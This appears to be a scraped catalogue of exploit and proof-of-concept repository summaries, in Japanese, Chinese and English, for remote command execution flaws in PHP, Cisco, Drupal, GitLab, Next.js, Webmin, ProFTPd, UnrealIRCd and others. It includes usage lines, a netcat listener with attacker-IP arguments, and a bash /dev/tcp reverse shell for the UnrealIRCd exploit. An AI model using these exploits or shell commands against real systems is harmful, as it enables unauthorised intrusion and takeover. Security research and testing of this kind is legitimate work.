PHP-8.1.0-dev_WebShell-RCE

PHP 8.1.0-dev WebShell RCE（未認証） PHP 8.1.0-dev WebShell RCE（未認証）用エクスプロイトコード 期待される結果: PHP 8.1.0-dev サーバーにインストールされたバックドアを悪用し、WebShell を取得してリモートでコマンドを実行します。 教育目的および企業環境でのテストのみを対象としています。 このエクスプロイトは Python 3.8.6 でテストされました。 使用方法: cfx: /Documents/ → ./exploit.py -h usage: exploit.py -h -l URL PHP 8.1.0-d...

CVE-2023-20198-Exploit

Cisco IOS XE 認証バイパス CVE-2023-20198 このリポジトリには、Cisco IOS XE Web UI に影響を与える認証バイパスの脆弱性 CVE-2023-20198 の 概念実証エクスプロイト が含まれています。 この脆弱性により、認証されていない攻撃者 が細工された SOAP リクエストを介して脆弱な Cisco デバイス上で任意のコマンドを実行でき、リモートコマンド実行 、管理者ユーザーの作成/削除 を含むデバイスの完全な侵害 につながる可能性があります。 脆弱性の概要 CVE : CVE-2023-20198 影響を受ける製品 : Cisco IOS ...

Drupalgeddon2-CVE-2018-7600

🔥 Drupalgeddon 2 エクスプロイト — bixi.py 📖 説明 bixi.py は、Drupal 7 に影響する脆弱性 CVE‑2018‑7600 Drupalgeddon 2 を対象とするエクスプロイトです。 直感的なインターフェースと定義済みコマンドを使用して、脆弱な Drupal サーバー上でリモートコマンド実行（RCE ）を可能にします。 ⚠️ 免責事項 / 法的通知 このソフトウェアは、管理された環境における教育および研究目的のみに使用してください。 所有しているシステム、または書面によるテスト許可を得たシステムでのみ使用すること 無許可の使用は違法...

CVE-2026-75604

CVE-2026-75604 RCE PoC 针对 CVE-2026-75604 的 Python 概念验证PoC,该漏洞是 Windows 宿主上同时使用 Pages Router 和 App Router未启用 Cache Components的 Next.js 应用中的未授权远程命令执行漏洞。 演示 环境要求 Next.js =13.4 =16.0 16.3.3 原生 Windows 服务器 Pages Router 和 App Router未启用 Cache Components 默认文件系统缓存,包含动态 Pages ISR 路由和动态缓存 App 路由 兼容的闭包绑定...

CVE-2026-75604-poc

CVE-2026-75604 RCE PoC Python proof of concept for CVE-2026-75604, an unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components. Demonstration Requirements Next.js =13.4 =16.0 16.3.3 Native...

CVE-2021-22205-gitlab

漏洞影响 已发现 GitLab CE/EE 中一个影响所有 11.9 及以上版本的问题。GitLab 未能正确验证传递给文件解析器的图像文件，从而导致远程命令执行。 受影响产品 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 环境搭建 export GITLABHOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com \ --publish 443:443 --publish 80:80 \ --name gitlab ...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2 中的 RCE 漏洞详情 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 使用方法 usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message and exit --target...

exploits

exploits 公開済みのPoCは exploitdb.com で見つけることができます Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

CVE-2026-23520

CVE-2026-23520 MCP API 远程命令执行（RCE）PoC 📌 概述 本仓库包含一个针对远程命令执行（RCE）漏洞的概念验证（PoC）利用程序，该漏洞影响暴露易受攻击的 MCP API 端点（通常为 /api/mcp/connect）的应用程序。 该漏洞允许通过精心构造的 API 请求执行系统级命令。 🚀 快速开始 1. 启动监听器 nc -lvnp ATTACKERPORT 2. 运行利用程序 python3 exploit.py TARGET --lhost ATTACKERIP --lport ATTACKERPORT 📥 使用方法 python3...

CVE-2026-39987_PoC

CVE-2026-39987-PoC 免責事項 このスクリプトは、教育目的および許可を受けたテストのみを目的としています。明示的な許可なくシステムに対してこのツールを使用することは違法です。作者は、この情報の悪用について一切の責任を負いません。 0.23.0 より前の Marimo バージョンには、事前認証なしの重大なリモートコード実行（RCE）の脆弱性があります。エンドポイント /terminal/ws には適切なアクセス制御が実装されておらず、認証されていない攻撃者がシステムへの完全な対話型シェルアクセスを取得できる状態になっています。 詳細| 情報 ---|--- CVE|...

Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution

Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution - Cisco バグ: CSCur90888 エクスプロイトタイトル : Cisco UCS Manager - 2.21d - リモートコマンド実行 説明 : Firepower 9000デバイス上の1.1.2より前のCisco FX-OS、および2.24bより前、2.25から2.25aより前、3.0から3.02eより前のCisco Unified Computing System UCS Manager...

CentOS-Control-Web-Panel-CVE

CentOS Control Web Panel バージョン 0.9.8.836 - 0.9.8.847 2019年6月29日、私たちのチームは CentOS Control Web Panel CWP バージョン 0.9.8.836 の脆弱性を調査し始め、いくつかの重大な脆弱性を発見しました。発見した脆弱性の一部は連鎖させることで、匿名ユーザーからルートユーザーまでサーバーを侵害することが可能です。チームが CWP に報告した後、彼らは迅速に対応してくれました。 最終的に、ここで言及されているすべての脆弱性は、CWP バージョン 0.9.8.848 CVE-2019-133xx...

CVE-2025-20393

CVE-2025-20393 📌 概要 CVE-2025-20393 は、Cisco AsyncOS を実行している Cisco Secure Email Gateway SEG および Cisco Secure Email and Web Manager SEWM アプライアンスに影響を与える 重大なリモートコマンド実行 RCE の脆弱性です。 この脆弱性は、Spam Quarantine 機能における不適切な入力検証 が原因で存在します。認証されていないリモート攻撃者 は、細工された HTTP リクエストを送信することでこの欠陥を悪用し、root 権限での任意のコマンド実行...

CVE-2023-33246

CVE-2023-33246 CVE-2023-33246：Apache RocketMQ リモートコマンド実行脆弱性検出ツール ツール機能 簡単な使い方 ./apacherocketmqcve202333246scannerlinuxamd64 scan を実行します 出力で脆弱性の有無が「是」または VulnFound: true と表示された場合は、脆弱性が存在することを意味します。Version または「版本号」フィールドは、ツールが検出したアセットのバージョンです。 検出データを json ファイルに出力します...

gitlab-cve-2021-22205

gitlab-cve-2021-22205 脆弱なgitlabインスタンスに対してCVE-2021-22205を悪用するシンプルなbashスクリプトです 使い方 Usage: cve-2021-22205.sh options Options: -h,--help Show this help -t,--target Set the target server i.e. "http://gitlab.example.com" -i,--reverse-ip Set the IP to connect back to -p,--reverse-port Set the port to...

CVE-2019-16278

CVE-2019-16278 Nostromo Webサーバーのリモートコマンド実行脆弱性悪用スクリプト 概要 ディレクトリトラバーサルにより引き起こされるリモートコマンド実行脆弱性。CVE-2011-0751と同様に、フィルタリングが不十分なため%0dを使用してバイパスすることが可能です。 影響範囲 nostromo = 1.9.6...

CVE-2021-31762

..| CVE-2021-31762 |.. 説明 : クロスサイトリクエストフォージェリCSRF攻撃を悪用して、Webminのユーザー追加機能を介して特権ユーザーを作成し、その後Webminの実行中プロセス機能を介してリバースシェルを取得する テスト済みバージョン : Webmin 1.973 GitHubの最新バージョン 07/03/2021 攻撃タイプ: リモート 影響 : リモートコマンド実行 エクスプロイトのC0de POC : YouTube POC : https://youtu.be/qCvEXwyaF5U 製品ベンダー : https://www.webmin.com...

ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution CVE-2015-3306に関連するProFTP 1.3.5サービスの脆弱性を悪用するスクリプト 使用方法 .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 CVE:2010-2075 用エクスプロイト。このエクスプロイトは UnrealIRCd 3.2.8.1 でリモートコード実行を可能にします。 要件 optparse, signal 使用方法 実行するコマンドを送信できますが、応答しない場合もあります。その場合は、リバースシェルを送信して接続が届くのを待つだけで構いません。 python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"' Creating connection...

CVE-2022-0944

CVE-2022-0944 SQLPad - テンプレートインジェクション これはブラインド脆弱性であり、出力がレスポンスに直接返されることを意味します。 エクスプロイト 次のコマンドでスクリプトを使用してください： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 出力 Login was successfull Exploited! テスト環境 Dockerを使用する場合： dockerコンテナを起動 -...